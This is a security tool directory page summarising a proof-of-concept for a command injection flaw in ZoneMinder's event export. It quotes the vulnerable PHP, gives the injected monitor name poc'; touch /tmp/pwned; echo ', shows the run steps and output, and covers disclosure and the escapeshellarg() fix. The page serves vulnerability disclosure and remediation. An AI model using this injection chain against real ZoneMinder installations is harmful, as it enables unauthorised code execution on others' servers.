Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/investigato/zoneminder-rce-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubinvestigato/zoneminder-rce-poc

zoneminder-rce-poc

CVE-2026-76060 PoC for a ZoneMinder vulnerability leading to RCE

View Repository
12 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

just wait and see

Proof of concept for an OS command injection vulnerability in ZoneMinder's event export functionality (web/includes/download_functions.php).

Monitor names are interpolated directly into shell commands using manual single-quote wrapping instead of escapeshellarg(). An attacker who can create a monitor can inject arbitrary shell commands that execute as www-data/whoever the process runs as when any user triggers an event export.

Underlying causes

  • Commit 44c5c3c from Oct 4, 2023 this is where the download_functions.php file was introduced. The commit message is "Introduce new download mode that concats event videos into 1 file per monitor." The vulnerable code is present here, but required an administrator to create the monitor first.
  • Commit 2d49e93 from Jan 2, 2024 "Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones." This is where things change a little. Now a user with just Monitors=Create can set up the monitor name for the attack, and any user with export permissions can trigger it.

Impacted versions: >= 1.37.48 (this has the SQL migration changes) and <= 1.38.1 The 1.36.x branch is unaffected.

How it works

Two users. Two privilege levels. One shell.

  • medpriv has Monitors=Create or Monitors=Edit if there is already a monitor there.
  • lowpriv has just enough access to trigger an event export. Pulls the trigger without knowing it.

The event record doesn't need to be created manually. ZoneMinder is a camera system...it creates event records automatically as cameras run. In a live deployment the setup step is: create the monitor, walk away.

Two sinks, one source

The unsanitized monitor name reaches two separate exec() calls:

Line 126 | ffmpeg:

root@kitploit:~
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);

Line 150 | tar/zip:

root@kitploit:~
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;

Both reachable from the same carefully crafted monitor name regardless of export format.

Requirements

  • Docker
  • Docker Compose

Usage

root@kitploit:~
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# wait for ZoneMinder to finish initializing (~30 seconds)
uv run poc.py

init.sql bootstraps the database with authentication enabled and two users:

  • medpriv with monitor creation rights (and for time purposes, event creation rights as well, but that’s not necessary in production)
  • lowpriv with event export access only

uv run poc.py runs the full chain:

  1. medpriv authenticates via API and creates a monitor named poc'; touch /tmp/pwned; echo '
  2. medpriv creates an event record to speed up the demo (in production, ZoneMinder does this automatically)
  3. lowpriv authenticates and triggers an event export
  4. Script checks /tmp/pwned inside the container and prints the result

Expected output:

root@kitploit:~
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1

Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun  6 18:32 /tmp/pwned

CVSS

8.4 (High):AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H

We can debate on PR:L vs PR:R, but either way it’s a high-severity remote code execution vulnerability in a widely used open-source project. The attack surface is pretty broad, and the fact that the trigger can be set off by a different user than the one who sets up the monitor name adds an interesting twist to the exploitability. If we accept PR:L, it becomes a 9.0 (Critical).

Either way, at a minimum escapeshellarg() costs nothing.

Disclosure

  • 03/08/2026: Reported via ZoneMinder’s security contact email
  • 03/09/2026: Patched in commit b3a7c05
  • 06/08/2026: Public disclosure

[!NOTE] Fixed within 12 hours of report. No acknowledgment from the maintainer that this is a security issue. I disagree

Fix

Apply escapeshellarg() at both injection points at a minimum:

root@kitploit:~
// Line 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';

// Line 150
$command .= ' '.escapeshellarg($mergedFileName);

Lines 116 and 211 in generateFileList() have the same pattern.


Discovered by (@investigato)
Full writeup: scriptkittens.com

Download Tool